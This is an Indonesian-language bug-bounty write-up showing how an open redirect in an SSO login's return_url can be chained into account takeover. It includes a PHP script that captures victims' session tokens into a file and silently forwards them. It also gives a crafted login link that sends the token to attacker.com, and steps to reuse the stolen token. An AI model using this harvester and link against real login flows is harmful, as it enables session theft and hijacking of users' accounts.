Open redirect to account take over

KreSec
2 min readJan 12, 2021

--

Attack scenario

Hi bug hunter, kali ini saya ingin share tentang memanfaatkan open redirect to account takeover. Langsung saja

Sebelum mendapatkan sekenario attack seperti gambar diatas saya menganalisa open redirect pada saat melakukan login

Didapatkan link untuk login:https://sso.redacted.com/login?return_url=http%3A%2F%2Fsub.redacted.com%2Fuser%2FcallbackJika login valid akan diarahkan kehalaman dashboard dengan melewati url  :
https://sub.redacted.com/user/callback/eyJ0.....

Sebelum masuk ke POC kita buat dulu server untuk mendapatkan tokennya

Pertama buat 2 file yaitu index.php :<?phpif (isset($_GET['token'])==true) {
$token = $_GET['token'].PHP_EOL;
if(file_put_contents("tokenleaked.txt", explode("/",$token), FILE_APPEND)){

$urls = "https://sub.redacted/user/callback".$token;
function redirect($url, $statusCode = 303){
header('Location: ' . $url, true, $statusCode);
die();
}
redirect($urls);
/*ketika sudah menyimpan token, auto redirect ke callback. jadi seperti benar-benar login */
}
}
Dan tokenleaked.txt untuk menyimpan token victim.

Kemudian setelah membuat 2 file diatas, upload file tersebut ke server kalian

Masuk ke POC :

- Kirim url login yang sudah ditempeli server attacker ke victim:https://sso.redacted.com/login?return_url=http%3A%2F%2Fattacker.com%2F%3Ftoken%3D- Victim melakukan login
- Attacker mendapatkan token akun victim
- Attacker login dengan token victim melalui url callback :https://sub.redacted/user/callback/eyJ0.........- Wellcome to dashboard
Penjelasan :
url decode dari http%3A%2F%2Fattacker.com%2F%3Ftoken%3D:
http://attacker.com/?token=
Didalam server attacker terdapat index.php yang fungsinya untuk mendapatkan token dari parameter get token= , yang kemudian disimpan ke tokenleaked.txt

Refrensi : https://progress28.com/2020/12/30/tips-open-redirect-to-ato-via-google-and-facebook-oauth/

Thanks!

--

--

KreSec
KreSec

Written by KreSec

Random post about web security & Ngoding

No responses yet